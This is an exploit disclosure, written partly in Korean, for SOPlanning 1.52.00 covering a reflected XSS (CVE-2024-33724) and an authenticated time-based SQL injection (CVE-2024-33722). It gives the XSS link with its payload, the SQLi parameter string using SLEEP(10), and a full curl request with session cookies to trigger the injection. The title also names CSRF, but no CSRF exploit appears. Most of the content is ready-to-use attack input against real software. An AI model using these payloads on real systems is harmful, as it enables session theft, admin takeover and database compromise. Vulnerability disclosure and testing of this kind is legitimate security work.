
SOPlanning 1.52.00 CSRF/SQLi/XSS (CVE-2024-33722, CVE-2024-33724)
Exploit Title: SOPlanning v1.52.00 'groupe_save.php' XSS (반사 XSS)
Application: SOPlanning
Version: 1.52.00
Date: 4/22/24
Exploit Author: Joseph McPeters (Liquidsky)
Vendor Homepage: https://www.soplanning.org/en/
Software Link: https://sourceforge.net/projects/soplanning/
Tested on: Linux
CVE: CVE-2024-33724
Exploit: https://github.com/fuzzlove/soplanning-1.52-exploits/blob/main/soplanning-XSS-README.txt
Description: SOPlanning v1.52.00은 'groupe_id' 매개변수를 통해 XSS에 취약하며, 원격의 인증되지 않은 공격자가 관리자 계정이나 다른 사용자를 탈취할 수 있습니다. 원격 공격자는 사용자의 세션 또는 자격 증명을 탈취하여 전체 플랫폼을 장악할 수 있습니다.
Example Payload: "><!--
Reflected XSS Link: /soplanning/www/process/groupe_save.php?saved=1&groupe_id="><!--&nom=Project+New
Analysis: 랜딩 페이지는 사용자 입력 매개변수를 고려한 후, XSS가 표시되는 페이지로 리디렉션됩니다. 익스플로잇에 포함된 페이로드는 변수가 저장된 위치를 벗어나 나머지 부분을 주석 처리하여 관리자를 포함한 모든 인증된 사용자에 대해 유효한 반사 XSS 공격을 수행합니다.
Exploit Title: SOPlanning v1.52.00 'projets.php' SQLi
Application: SOPlanning
Version: 1.52.00
Date: 4/22/24
Exploit Author: Joseph McPeters (Liquidsky aka fuzzlove)
Vendor Homepage: https://www.soplanning.org/en/
Software Link: https://sourceforge.net/projects/soplanning/
Tested on: Linux
CVE: CVE-2024-33722
Exploit: https://github.com/fuzzlove/soplanning-1.52-exploits/blob/main/soplanning-sqli-README.txt
Description: SOPlanning v1.52.00은 'projects.php' 페이지를 통해 인증된 SQL 인젝션에 취약합니다.
Instructions: 호스트에 인증하십시오. 자격 증명은 CSRF 익스플로잇을 사용하여 얻을 수 있습니다 (더 자세한 정보는 포함됨). 유효한 자격 증명을 획득한 후 GET/POST 요청을 사용하여 유효한 SQLi에 해당하는 유효한 매개변수를 보내십시오.
Vulnerable request parameters for request to "/www/projets.php":
filtreGroupeProjet=1&statut[]=todo'+AND+(SELECT+8073+FROM+(SELECT(SLEEP(10)))PuxA)+AND+'Liquidsky'='Liquidsky&rechercheProjet=test
위 매개변수는 유효한 GET/POST 요청으로 전송되어 SQLi를 트리거할 수 있습니다. Example Curl Request To Re-Test SQLi:
curl -i -s -k -X $'POST'
-H $'Host: 127.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 130' -H $'Origin: http://127.0.0.1' -H $'Connection: close' -H $'Referer: http://127.0.0.1/soplanning/www/projets.php' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1'
-b $'dateDebut=23/04/2024; dateFin=23/06/2024; xposMoisWin=0; xposJoursWin=0; yposMoisWin=0; yposJoursWin=0; yposProjets=33; PHPSESSID=ovpbclvbc87uh7anfbq2luf9bi; soplanningplanning_=hhrtf0rgs562vm8rhn5i641481; baseLigne=users; baseColonne=jours; afficherTableauRecap=1; masquerLigneVide=0; statut_projet=%5B%22abort%22%2C%22archive%22%2C%22done%22%2C%22progress%22%2C%22todo%22%5D'
--data-binary $'filtreGroupeProjet=1&statut[]=todo'+AND+(SELECT+8073+FROM+(SELECT(SLEEP(10)))PuxA)+AND+'Liquidsky'='Liquidsky&rechercheProjet=test'
$'http://127.0.0.1/soplanning/www/projets.php'
Note: 유효한 SQLi를 위해서는 쿠키가 인증되어야 하고 요청이 유효해야 합니다. 이 curl 요청은 프록시와 함께 사용하여 유효한 요청을 재구성할 수 있습니다.